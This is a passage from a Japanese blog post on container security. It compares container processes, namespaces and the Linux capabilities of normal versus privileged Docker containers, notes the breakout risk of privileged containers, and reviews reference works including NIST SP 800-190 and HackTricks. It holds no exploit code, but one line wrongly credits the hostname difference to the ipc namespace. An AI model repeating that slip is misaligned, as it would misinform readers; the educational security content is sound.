root 8 0.0 0.0 0 0 ? I Apr18 0:00 ¥_ [rcu_sched]
root 9 0.0 0.0 0 0 ? I Apr18 0:00 ¥_ [rcu_bh]
root 10 0.0 0.0 0 0 ? S Apr18 0:00 ¥_ [migration/0]
root 11 0.0 0.0 0 0 ? S Apr18 0:00 ¥_ [watchdog/0]
root 12 0.0 0.0 0 0 ? S Apr18 0:00 ¥_ [cpuhp/0]
...
root 4705 0.0 0.7 709092 7148 ? Sl 03:38 0:00 ¥_ containerd-shim –namespa
root 4743 0.0 0.3 12024 3220 pts/0 Ss+ 03:38 0:00 ¥_ /bin/bash

# ps -aufx
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 12024 3220 pts/0 Ss 03:38 0:00 /bin/bash
root 17 0.0 0.3 47544 3336 pts/0 R+ 04:12 0:00 ps -aufx

 ホストOS上から見たコンテナのプロセスははrootユーザで動作していることが分かります。また、コンテナにはホストOSのプロセスが参照できないことが確認できます。

 

uts名前空間、user名前空間

$ hostname
user-VirtualBox

# hostname
1d67c8bfff63
 ipc名前空間が異なるため、ホスト名も異なります。
$ id
uid=0(root) gid=0(root) groups=0(root)
# id
uid=0(root) gid=0(root) groups=0(root)
 一方、user名前空間は共有するため、ユーザID、グループIDは同じになります。
 

 コンテナに付与された特権

ホストでコンテナプロセスに割り当てられたケーパビリティを確認します。

$ ps -aufx
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 4743 0.0 0.3 12024 3220 pts/0 Ss+ 03:38 0:00 ¥_ /bin/bash

$ getpcaps 4743
Capabilities for `4743': = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,ca p_setfcap+eip

$ docker run --privileged -it -d --rm --name test2 centos /bin/bash

$ getpcaps 6609
Capabilities for `6609': = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,35,36,37+e ip
 同じrootユーザではあるものの、特権コンテナでは通常コンテナにないケーパビリティまで付与されていることが確認できます。特に、特権コンテナでは過剰な権限が付与されるため、コンテナブレイクアウトのような脅威にさらされます。
 

後片付け

作業が終わったら不要なコンテナは削除しましょう。

#すべてのコンテナを停止
docker stop `docker ps -a -q`
#すべてのコンテナを削除
docker rm `docker ps -a -q`
 
 

コンテナセキュリティの参考資料

 

コンテナ セキュリティに関する参考資料の紹介です。

Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド

 

 Moby(dockerd)、Buildkit(イメージビルダ)、containerd(高レベルランタイム)のコミッタを務められておられるNTTの方などが著者の書籍です。

 

DockerとKubernetesを中心にコンテナを使った開発・運用する際の対策がまとまっていて、安全なコンテナシステムを構築したいという方にはおススメです。参考URLも多数記載されているので、詳しいことを知りたい方への入り口も用意されています。

コンテナを利用した開発・運用のセキュリティに特化しているため、Docker、Kubernetes、セキュリティ、コンテナの仕組みまでを手取り足取りというわけではありません。なんらかの事前知識があった方が読みやすいと思います。いずれにせよ、日本語でコンテナセキュリティを学べる貴重な一冊です。

コンテナが動作する仕組みを最低限理解して、とりあえずこの方法で開発・運用をしておけばいいという「コンテナのセキュリティテクニック」を学びたい方は、「Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド」がおすすめです。

顧客相手にコンテナシステムを納品するようなSIerやソフトウェアベンダの方が適しているのではないでしょうか。

 

Container Security: Fundamental Technology Concepts That Protect Containerized Applications

 洋書になりますが、コンテナセキュリティの要素技術が整理された良書だと思います。

先ほど紹介した書籍は、 コンテナシステムの開発・運用に重点が置かれていたのに対して、本書籍は、コンテナで使われている要素技術(namespace,file permission,capability,OCIイメージなど)が例を交えながら丁寧に解説されています。そのため、コンテナがどんな仕組みで動作していて、どうセキュアなのか、また、どのように扱うべきなのかを学ぶことができます。コンテナセキュリティのWhyに力強く応えてくれるくれる一冊です。(たぶん)

 

コンテナの仕組みを理解する「コンテナのセキュリティエンジニアリング」を学びたい方は、「Container Security: Fundamental Technology Concepts That Protect Containerized Applications」がおすすめです。

コンテナ技術を理解したい方や研究レベルの知識を求める方にはおススメだと思います。

 

NIST SP 800-190 application container security guide

米国国立標準技術研究所(NIST)が発行するSP800シリーズのコンテナ版です。

SP800は世界で通用する大正義規格ですので、準拠がコンテナセキュリティの指標のひとつになっています。コンテナセキュリティベンダであればほぼ間違いなくサポートしている規格のため、一読する価値はあるかと思います。

内容としては、コンテナの使用に関連する潜在的なセキュリティ上の懸念事項を説明し、懸念事項に対処するための推奨事項を提供されています。ただ、概念的な粒度で解説されているので、実装レベルの内容は記載されていません。いざ読んでみると考え方は分かるがどう実装すればいいのかいまいち分からない、というゴールにたどりつくかと思います。

こちらは、2020年にIPAが翻訳版を発行しているので、英語ガバガバの同志の方も安心して読むことができます。

CIS Benchmarks

CIS Benchmarksは、米国のCIS(Center For Internet Security)が発行している安全なシステムを構成するためのベストプラクティスガイドラインです。

コンテナ系列としては、CIS Docker BenchmarkやCIS Kubernetes Benchmarkがあります。NIST SP 800-190と違い、実装レベルの対策まで記載されているので、理解や実践がしやすいと思います。コンテナセキュリティベンダからは、構築したシステムが項目を満たしているかどうか確認するコンプライアンスチェックなどが提供されています。

こちらは、ダウンロードにアカウント登録が必要です。

f:id:FallenPigeon:20210411141140p:plain

www.cisecurity.org 

Container Security Book

コンテナセキュリティセキュリティの項目がよくまとまっている文書です。コンテナブレイクアウトの例まで紹介されていてとても勉強になります。脆弱なコンテナが具体的にどのような脅威にさらされるのかまで学びたい人は必見です。ペネトレーションテストレベルになるとこれぐらいのスキルが求められるのではないでしょうか。

HackTricks

ペネトレーションテストの参考サイトです。関連リンクも豊富で対象がwindowsからlinuxまで幅広いので勉強になります。containerdの基本コマンドやホストOSからコンテナを悪用するテクニックなども書かれています。